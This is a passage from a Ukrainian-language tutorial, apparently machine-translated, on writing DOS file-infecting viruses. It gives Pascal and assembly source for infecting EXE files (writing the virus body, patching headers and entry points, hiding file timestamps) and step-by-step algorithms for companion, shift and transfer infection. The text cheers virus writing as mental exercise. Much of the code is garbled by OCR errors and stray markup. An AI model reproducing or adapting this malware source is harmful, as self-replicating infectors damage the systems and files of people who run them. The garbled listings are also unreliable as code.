(Якщо знайдена програма ще не заражена, інфікуючи її)
If Not VirusPresent Then
begin p>
(Запам'ятаємо дату і час файлу. Атрибути запам'ятовувати не треба,
так як пошук ведеться серед файлів з атрибутом Archive, а цей
атрибут встановлюється на файл після збереження в будь-якому разі)
Time: = Sr.Time; p>
(Відкриваємо для зараження)
Assign (Target, TargetFile); p>
Reset (Target, 1); p>
(Записуючи тіло вірусу в початок файлу)
BlockWrite (Target, VirBuf, VirLen); p>
(переміщаємо покажчик поточної позиції
на довжину вірусу від початку файлу)
Seek (Target, VirLen); p>
(Вписуємо мітку зараження)
BlockWrite (Target, LabelBuf, 5); p>
(Встановлюємо дату і час файлу)
SetFTime (Target, Time); p>
(Закриваємо)
Close (Target); p>
(Збільшуємо лічильник інфікованих файлів)
Inc (lnfFiles); p>
end; p>
end; p>
(Початок процедури FindTarget)
begin p>
(Шукаємо в поточному каталозі файли за маскою *. ЕХЕ
з атрибутами Archive)
FindFirstF.EXE ', Archive, Sr); p>
(Поки є файли для зараження) p>
While DosError = 0 Do p>
begin p>
If Sr.Name = "Then Exit; p>
(Запам'ятовуємо ім'я знайденого файлу в змінну TargetFile)
TargetFile: = Sr.Name; p>
(Викликаємо процедуру зараження)
InfectFile; p>
(Якщо заразили InfCount файлів, завершуємо пошук)
If InfFiles> InfCount Then Exit; p>
(Шукаємо Наступне фото за маскою)
FindNext (Sr); p>
end; p>
end; p>
(Основне тіло)
begin p>
(Ініціалізіруемся)
hit; p>
(Шукаємо жертви і заражаємо їх)
FindTarget; p>
(Видаємо на екран повідомлення про помилку)
WriteLn ( 'Abnormal program termination.'); p>
(Це щоб компілятор вставив в код константи VirName
і Author, умова ж поставлено таким чином,
що ці рядки ніколи не будуть виведені на екран)
If 2 = 3 Then
begin
WriteLn (VirName); p>
WriteLn (Author); p>
end; p>
end. p>
Віруси-супутники (Companion) b> p>
Віруси-супутники зараз широко поширені - співвідношення
companion і parasitic вірусів приблизно один до двох. p>
Інфікування методом створення СОМ-файлу супутника b> p>
Сенс цього методу - не чіпаючи "чужого кота" (ЕХЕ-програму), з-
здать "свого" - СОМ-файл з ім'ям ЕХЕ-програми. Алгоритм робо-
ти такого вірусу гранично простий, так як відпадає необхідність
зайвих дій (наприклад, збереження в тілі вірусу довжини откомпі-
лірованного ЕХЕ-файла з вірусним кодом, зчитування в буфер тіла
вірусу, запуску файлу, з якого вірус отримав управління). Неза-
ніж навіть зберігати позначку для визначення інфікування файлу. p>
Зараження проводиться за допомогою командного процесора: p>
1. Якщо в командному рядку вказані параметри, зберегти їх у пере-
менную типу String для передачі інфікованої програмі. p>
2. Знайти ЕХЕ-файл-жертву. p>
3. Перевірити, не присутній у каталозі з знайденим ЕХЕ-фай-
лом СОМ-файл з таким же ім'ям, як у файлу-жертви. p>
4. Якщо такий СОМ-файл присутній, файл вже заражений, переходимо
до пункту 6. p>
5. За допомогою командного процесора скопіювати файл, з якого
отримано управління, у файл з ім'ям жертви і розширенням СОМ. p>
6. Процедурою Ехес завантажити та виконати файл з ім'ям стартового, але
з розширенням ЕХЕ - тобто виконати інфіковану програму. p>
7. Повернути керування в DOS. p>
Наведений нижче лістинг показує зараження файлів цим
методом. b> p>
($ М 2048, 0, 0)
f $ A-)
NUL '); p>
SwapVectors; p>
end; p>
(Процедура пошуку жертви)
procedure FindFile; p>
begin p>
(У поточному каталозі шукаємо ЕХЕ-файл)
FindFirst ( '* EXE', AnyFile, Dirlnfo); p>
If DosError = 0 Then p>
(І якщо він знайдений)
begin p>
(Запам'ятовуємо ім'я жертви)
Victim: = Dirlnfo.Name; p>
(Запам'ятовуємо ім'я без розширення)
VictimName: = Copy (Victim, 1, Length (Victim) -4); p>
(Шукаємо оверлей з тим же ім'ям)
FindFirst (VictimName + Ovl, AnyFile, Sr); p>
If DosError b> 0 Then Infect; p>
end; p>
end; p>
(Процедура ініціалізації змінних)
procedure I nit; p>
begin p>
(Командний рядок)
CmdLine: = "; p>
(Повне ім'я нашої програми)
OurProg: = ParamStr (0); p>
(Назва нашої програми без розширення)
OurName: = Copy (ParamStr (0), 1, Length (ParamStr (0)) -4); p>
For l: = 1 To ParamCount Do
begin p>
(Запам'ятовуємо параметри)
CmdLine: = ParamStr (l) + ''; p>
end; p>
end; p>
(Основна підпрограма)
begin p>
(А цю табличку запишемо в код для тих, p>
хто розпакує вірус?? почне в ньому копатися) p>
If False Then p>
begin p>
WriteLn (# 13 # 10 ''); p>
end; p>
(Ініціалізіруемся)
Init; p>
(Перевірка диска на R/Про)
CheckRO; p>
(Шукаємо та заражаємо)
FindFile; p>
(Завантажуємо оверлей)
ExecReal; p>
end. p>
Віруси, впроваджуються в програму (Parasitic) b> p>
Ці віруси є самими "хитрими". Оскільки такий вірус поза-
дряется в інфіковані програму, це дає йому багато переваг
перед усіма вищеописаними вірусами: на диску не з'являються лиш-
ня файли, немає клопотів з копіюванням та перейменуванням, крім того,
ускладнюється лікування інфікованих файлів. p>
Стандартне зараження ЕХЕ-файлів b> p>
Стандартне зараження - зараження, при якому вірус впроваджується
в кінець файлу, змінюючи заголовок так, щоб після завантаження файлу уп-
равленіе отримав вірус. Принципово дію такого вірусу мало
відрізняється від дії розглянутого СОМ-вірусу. Щоб з'ясувати
способи роботи з ЕХЕ-файлами, розглянемо наступний фрагмент про-грами
: p>
; Читаємо заголовок ЕХЕ-файла (точніше, лише перший 18h байт,
; яких цілком достатньо) p>
ReadHeader: p>
mov ah, 3Fh p>
mov dx, offset EXEHeader
mov cx, 0018h
int 21 h p>
Зупиняємо в SI адресу вважаються заголовка. Надалі
; будемо звертатися до заголовка, використовуючи Sl + зміщення елемента
mov si, offset EXEHeader p>
[Отримуємо реальну довжину файлу, перемістивши покажчик поточної
; позиції читання/запису в кінець файлу
GetRealFSize: p>
mov ax, 4202h p>
mov bx.Handle p>
xor ex, ex p>
xor dx.dx p>
int 21 h p>
; Збережемо отриману довжину файлу
mov Reallen.dx
mov Reallen +2, ax p>
; Оскільки мова йде про стандартну процедуру зараження, потрібно
; пам'ятати, що все вищесказане не впливає на
оверлейной файли. Їх довжина, зазначена в заголовку,
.- менше реальної, тобто ці файли завантажуються
; в пам'ять не повністю. p>
Отже, якщо заразити такий файл, вірус потрапить
; в незагружаемую частину.
Збережемо в стеку реальну довжину ЕХЕ-файла p>
push dx p>
push ax p>
розрахуємо розмір ЕХЕ-файл до 512-байтних сторінках і залишок
CompareOVL p>
mov cx, 0200h p>
div ex p>
; Ha даний момент в регістрі АХ знаходиться кількість сторінок
; (в кожній сторінці міститься 512 байт),
; а в регістрі DX - залишок, який утворює p>
; ще одну (невраховану) сторінку.
. Додамо цю сторінку до загальної кількості сторінок -
; якщо залишок не дорівнює нулю, то
. збільшимо кількість сторінок p>
or dx.dx p>
jz m1 p>
inc ax
m1: p>
. Будемо вважати придатним для зараження
. стандартним способом файли з довжиною,
; повністю збігається із зазначеною в заголовку p>
cmp ax, [si + PartPag] p>
jne ExitProc p>
cmp dx, [si + PageCnt] p>
jne ExitProc p>
; Щоб вірус зміг повернути керування
; зараженої програмі, збережемо поля ReloSS,
; ExeSP, ReloCS, ExelP із заголовка ЕХЕ-файла.
. Значення констант, що використовуються в програмі,
. рівні зсуву відповідного
; елемента в заголовку ЕХЕ-файла (Додаток А)
InitRetVars: p>
mov ax, [si + ReloSS] p>
mov oldss.ax p>
mov ax, [si + ExeSP] p>
mov oldsp.ax p>
mov ax, [si + ReloCS] p>
mov oldcs.ax p>
mov ax, [si + Exe! P] p>
mov oldip.ax p>
. Відновимо з стека реальну довжину файлу
; В даному випадку вона співпадає з довжиною, зазначеної в заголовку p>
pop ax p>
pop dx p>
. Розрахуємо довжину програми з вірусом, для чого додамо
; до довжини файлу довжину тіла вірусу p>
add ax, VIRSIZE; VIRSIZE - довжина тіла вірусу p>
adc dx.0 p>
розрахуємо вийшла довжину (одна сторінка - 512 байт)
; і залишок у останній сторінці (так само,
; як розраховували довжину файлу без вірусу) p>
mov cx, 0200h p>
div ex p>
or dx.dx p>
jz newJen p>
inc ax
NewJen: p>
; Внесемо в заголовок нову довжину файлу
mov [si + PageCnt], ax
mov [si + PartPag], dx p>
; Прочитаємо реальну довжину файлу.
; По ній будемо розраховувати нову
; точку входу в програму (адреса запуску)
Eval_new_entry: p>
mov dx.Reallen 2 p>
mov ax.Reallen p>
; Розрахуємо нову точку входу. p>
. Точка входу в вірус повинна знаходитися p>
; на початку його тіла. Іншими словами, потрібно до довжини файлу p>
. додати зміщення точки входу. p>
; Розділемо довжину на розмір параграфа (10h) p>
mov cx, 10h p>
div ex p>
Одержали число параграфів (AX) і залишок (DX - зміщення
; вірусу в останньому пункті).
; 0тнімем від числа параграфів у файлі число
. Параграфів у заголовку - отримаємо сегмент входу в ЕХЕ-файл
sub ax, [si + HdrSize] p>
; 3апішем нову точку входу в заголовок
mov [si + ReloCS], ax
mov [si + ExelP], dx p>
. Зауваження: можна було округлити отримане число,
; і вірус починався б з OOOOh.
; Але цього робити не варто. p>
,-Природно, всі звернення до даних у цьому вірус p>
повинні бути нефіксованим, як і в будь-який інший вірус. p>
; Замість "mov ax, ANYDATA" доведеться робити так: p>
; mov si.VIRSTART p>
; mov ax, [si + offset ANYDATA] p>
; де offset ANYDATA - зміщення відносно початку тіла вірусу p>
; Стек поставимо за тіло вірусу - байт на ЮОП. Потім обов'язково p>
; повернемо, інакше можна стерти заготовлені в стеку значення! p>
. 'Встановимо сегмент стека такий же, як і коду, p>
; а вказівник на вершину стека - p>
; на 100h байт після тіла вірусу p>
mov [si + ReloSSj.ax p>
mov ax.VIRSIZE + IOOh p>
mov [si + ExeSP], ax p>
; Тепер запишемо заголовок у файл, не забувши і тіло вірусу.
; Рекомендується писати спочатку тіло, а потім заголовок.
; Якщо тіло раптом не допише,
; то файл зіпсуємо даремно
UpdateRle: p>
; 3апішем тіло вірусу
WriteBody: p>
.- Встановимо покажчик читання/запису в кінець файлу
mov bx, Handle
Хог сх, сх
xor dx.dx
mov ax, 4202h
int 21 h p>
. Запишемо тіло вірусу в файл
mov ah, 40h
mov cx.VIRSIZE
mov dx.offset VIRStart
int 21h p>
; 3апішем заголовок
WriteHeader: p>
; Встановимо покажчик читання/запису в початок файлу
mov ax, 4200h p>
xor ex, ex p>
xor dx.dx p>
int 21 h p>
. Запишемо заголовок у файл p>
mov cx, 0018h p>
mov ah, 40h p>
mov dx.si p>
int 21 h p>
Отже, вірус "оселився" в ЕХЕ-файлі. А як після закінчення роботи
вірусу передати управління інфікованої програмі? Ось процеду-
ра виходу з вірусу: p>
CureEXE: p>
StackBack: p>
-. Встановимо початковий покажчик (сегмент і зсув) стека
mov ax.ds p>
-. Додамо ООЮп, після чого в АХ буде
; знаходиться сегмент, з якого
; завантажений програмний модуль
add ax, 10h p>
Додамо початковий сегмент стека p>
db @ add_ax; код ADD AX, далі за аналогією
OldSS dw? ; це значення було встановлено
; при зараженні p>
; 3апретім переривання, так як зі стеком не можна працювати,
; поки і сегмент, і зміщення не встановлені в потрібне значення
cli p>
-. Встановимо сегмент стека (PSP + Wh + OldSS)
mov ss.ax p>
: Встановимо початковий покажчик (зсув) стека p>
db @ mov_sp
OldSP dw? p>
; Розв'язано переривання - небезпечну ділянку пройдений
sti p>
[Підготуємо значення в стеку для команди IRET
RetEntryPoint: p>
pushf p>
розрахуємо сегмент для коду за аналогією з сегментом стека p>
mov ax.DATASEG p>
add ax, 10h p>
db @ add_ax
OldCS dw? p>
; Збережемо в стеку отримане значення (PSP + Wh + OldCS)
push ax p>
; Збережемо в стеку зміщення вихідної точки входу p>
db @ mov_ax
OldIP dw? p>
push ax p>
. Запустимо програму. У стеку знаходяться зсув
; точки входу, сегмент точки входу і прапори
iret p>
Впровадження способом зрушення b> p>
інфіковані програма розміщується у файлі після коду вірусу,
зрушення на його довжину, звідси і назва методу. Алгоритм роботи
вірусу наступний: p>
1. Відкрити файл, з якого отримано управління. p>
2. Рахувати в буфер тіло вірусу. p>
3. Закрити файл. p>
4. Знайти файл-жертву (для даного типу вірусів краще СОМ-файл,
але можна і не надто великий ЕХЕ - це пов'язано з тим, що всі
тіло інфіковані програми зчитується в пам'ять і її може не
вистачити, якщо ця програма дуже велика). p>
5. Відкрити файл-жертву. p>
6. Перевірити файл на повторне зараження (тут можуть бути Варіано-
ти, але частіше за все використовується сигнатура). p>
7. Якщо файл вже інфікований, перейти до пункту 3. p>
8. Рахувати в буфер все тіло програми. p>
9. Записати в початок файлу тіло вірусу з буфера. p>
10. Дописати у файл після тіла вірусу тіло програми з буфера.
Довжина програми збільшується на довжину вірусу. p>
11. Закрити файл-жертву. p>
12. Відкрити файл, з якого стартували. p>
13. Рахувати в буфер тіло інфікованої програми, розташоване
у файлі після тіла вірусу. p>
14. Створити на диску тимчасовий файл з розширенням СОМ або ЕХЕ
(в залежності від того, який тип програм заражається). p>
15. Записати в цей файл тіло програми з буфера. p>
16. Закрити створений файл. p>
17. Процедурою Ехес запустити створений файл на виконання -
виконається інфікована програма. p>
18. Після завершення роботи програми створений файл видалити. p>
19. Повернути керування в DOS. p>
Віруси - це гарна гімнастика для розуму, хоча багато хто думає, що
написати вірус на мові високого рівня дуже важко. Це не зовсім
так. Писати на мові Pascal досить легко, правда величина отриманий-
ного коду викликає побожний трепет. p>
Впровадження способом перенесення b> p>
Віруси даного типу розмножуються в такий спосіб. З інфікує-
емой програми від початку файлу зчитується частина коду, на довжині рав-
ва довжині вірусу. На місце, що звільнилося вписується вірус,
а оригінальне початок програми переноситься в кінець файлу. Звідси
і назва методу - "метод переносу". Є й інші варіанти. Іноді,
наприклад, початок програми записується в середину файлу, а середина
переноситься в кінець, щоб ще сильніше все заплутати. Перевага дан-
ного методу над іншими описаними в тому, що інфікована про-
грама виконується в тому ж вигляді, в якому вона була до зараження,
з файлу з тим же ім'ям і розширенням. Тобто програми, перевіряючі
ющіе себе на предмет зараження вірусом, його не помічають. Коректно
виконуються і такі програми, які шукають свої файли конфігур-
ції з іменами: p>
ІМЯ_І_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +. INI p>
Недолік даного методу виявляється при збої в роботі компьюте-
ра. Якщо при виконанні інфікованої програми комп'ютер
"зависне" або відбудеться перезавантаження системи, інфікована p>
програма виявиться "чистої", тобто без вірусу. Але, по-перше, "хто
не ризикує, той не п'є шампанського ", а по-друге, програми виснуть
рідко. Алгоритм роботи такого вірусу наступний: p>
1. Відкрити файл, з якого отримано управління. p>
2. Рахувати в буфер тіло вірусу. p>
3. Закрити файл. p>
4. Знайти файл-жертву. p>
5. Відкрити файл-жертву. p>
6. Перевірити файл на повторне зараження (тут можуть бути Варіано-
ти, але частіше за все використовується сигнатура). p>
7. Якщо файл вже інфікований, перейти до пункту 3. p>
8. Рахувати в буфер з початку знайденого файлу фрагмент програми,
по довжині рівний тіла вірусу. p>
9. Записати в початок файлу тіло вірусу з буфера. p>
10. Дописати у кінець файлу лічену початок програми з буфера.
Довжина програми збільшилася на довжину вірусу. p>
11. Закрити файл-жертву. p>
12. Відкрити файл, з якого стартували. p>
13. Рахувати в буфер початок інфікованої програми, розташований-
ве в кінці файлу. p>
14. Записати лічену початок програми поверх коду вірусу в початок
файлу. p>
15. Скоротити файл до його оригінальної довжини (тобто видалити частину
коду, за довжиною дорівнює довжині тіла вірусу, в кінці файлу). p>
16. Закрити файл. p>
17. Процедурою Ехес запустити стартовий файл (ParamStr (O)) на ис-
полнению - виконається інфікована програма. p>
18. Після завершення роботи програми знову відкрити стартовий
файл. p>
19. Записати в початок файлу тіло вірусу, а оригінальне початок про-грами
знову перемістити в кінець файлу. p>
20. Закрити файл. p>
21. Повернути керування в DOS. p>